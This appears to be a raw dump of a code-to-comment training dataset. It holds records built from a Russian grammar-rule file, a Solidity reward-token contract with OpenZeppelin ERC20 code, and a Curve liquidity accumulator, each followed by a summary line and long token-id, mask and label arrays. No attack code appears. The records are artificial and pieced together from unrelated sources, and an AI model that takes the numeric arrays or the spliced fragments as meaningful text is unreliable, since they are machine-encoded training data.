смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
прочертить в воздухе
rus_verbs:прочертить{},
5,481,920
[ 1, 145, 128, 146, 227, 145, 127, 146, 234, 145, 118, 146, 227, 146, 229, 145, 121, 146, 229, 146, 239, 225, 145, 115, 225, 145, 115, 145, 127, 145, 120, 145, 117, 146, 230, 146, 232, 145, 118, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 128, 146, 227, 145, 127, 146, 234, 145, 118, 146, 227, 146, 229, 145, 121, 146, 229, 146, 239, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; interface Feed { function balanceMetamal(address owner) external view returns(uint256); } contract FeedToken is Initializable, OwnableUpgradeable, ERC20Upgradeable { Feed public feed; string constant private _name = "$F33D"; string constant private _symbol = "$F33D"; uint256 constant public BASE_RATE = 5 ether; uint256 constant COOLDOWN = 1 days; uint256 constant SPINCOOLDOWN = 7 days; uint256 public START; bool private rewardPaused; mapping(address => uint256) public rewards; mapping(address => string) public coupons; mapping(address => uint256) public lastUpdate; mapping(address => bool) public allowedAddresses; function initialize(address _address) public initializer { __ERC20_init_unchained(_name, _symbol); __Ownable_init_unchained(); feed = Feed(_address); START = block.timestamp; rewardPaused = false; } // Updates rewards list for minting function updateReward(address from, address to) external { require(msg.sender == address(feed)); if(from != address(0)){ rewards[from] += getPendingReward(from); lastUpdate[from] = block.timestamp; } if(to != address(0)){ rewards[to] += getPendingReward(to); lastUpdate[to] = block.timestamp; } } // Claims all tokens from the rewards list function claimReward() external { require(!rewardPaused, "Reward claiming has been paused!"); _mint(msg.sender, rewards[msg.sender] + getPendingReward(msg.sender)); rewards[msg.sender] = 0; lastUpdate[msg.sender] = block.timestamp; } // Burn tokens function burn(address user, uint256 amount) external { require(allowedAddresses[msg.sender] || msg.sender == address(feed), "Address cannot burn tokens!"); _burn(user, amount); } // Returns the total amount of rewards claimable from last update function getTotalClaimable(address user) external view returns(uint256) { return rewards[user] + getPendingReward(user); } // Return claimable amount of tokens from last update function getPendingReward(address user) internal view returns(uint256) { return feed.balanceMetamal(user) * BASE_RATE * (block.timestamp - (lastUpdate[user] >= START ? lastUpdate[user] : START)) / COOLDOWN; } // Adding accounts to the administration list function setAllowedAddresses(address _address, bool _access) public onlyOwner { allowedAddresses[_address] = _access; } function toggleReward() public onlyOwner { rewardPaused = !rewardPaused; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; }
Return claimable amount of tokens from last update
function getPendingReward(address user) internal view returns(uint256) { return feed.balanceMetamal(user) * BASE_RATE * (block.timestamp - (lastUpdate[user] >= START ? lastUpdate[user] : START)) / COOLDOWN; }
1,628,769
[ 1, 990, 7516, 429, 3844, 434, 2430, 628, 1142, 1089, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 2846, 17631, 1060, 12, 2867, 729, 13, 2713, 1476, 1135, 12, 11890, 5034, 13, 288, 203, 3639, 327, 4746, 18, 12296, 12244, 301, 287, 12, 1355, 13, 380, 10250, 67, 24062, 380, 261, 2629, 18, 5508, 300, 261, 2722, 1891, 63, 1355, 65, 1545, 10485, 692, 1142, 1891, 63, 1355, 65, 294, 10485, 3719, 342, 7910, 1741, 12711, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8; pragma experimental ABIEncoderV2; import "@openzeppelin-v4/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "./ICurvePool.sol"; import "../../LiquidityAccumulator.sol"; contract CurveLiquidityAccumulator is LiquidityAccumulator { address public immutable curvePool; uint256 public immutable quoteTokenIndex; mapping(address => uint256) tokenIndices; constructor( address curvePool_, uint8 nCoins_, address quoteToken_, uint256 updateTheshold_, uint256 minUpdateDelay_, uint256 maxUpdateDelay_ ) LiquidityAccumulator(quoteToken_, updateTheshold_, minUpdateDelay_, maxUpdateDelay_) { curvePool = curvePool_; uint256 quoteTokenIndex_ = type(uint256).max; ICurvePool pool = ICurvePool(curvePool_); for (uint256 i = 0; i < nCoins_; ++i) { address token = pool.coins(i); if (token == quoteToken_) quoteTokenIndex_ = i; // Store quote token index else { // Add one to reserve 0 for invalid tokenIndices[token] = i + 1; // Store token indices } } require(quoteTokenIndex_ != type(uint256).max, "CurveLiquidityAccumulator: INVALID_QUOTE_TOKEN"); quoteTokenIndex = quoteTokenIndex_; } function needsUpdate(address token) public view virtual override returns (bool) { if (tokenIndices[token] == 0) return false; return super.needsUpdate(token); } function fetchLiquidity(address token) internal view virtual override returns (uint256 tokenLiquidity, uint256 quoteTokenLiquidity) { ICurvePool pool = ICurvePool(curvePool); uint256 tokenIndex = tokenIndices[token]; require(tokenIndex != 0, "CurveLiquidityAccumulator: INVALID_TOKEN"); tokenLiquidity = pool.balances(tokenIndex - 1); // Subtract the added one quoteTokenLiquidity = pool.balances(quoteTokenIndex); } }
Subtract the added one
tokenLiquidity = pool.balances(tokenIndex - 1);
6,433,624
[ 1, 27904, 326, 3096, 1245, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1147, 48, 18988, 24237, 273, 2845, 18, 70, 26488, 12, 2316, 1016, 300, 404, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
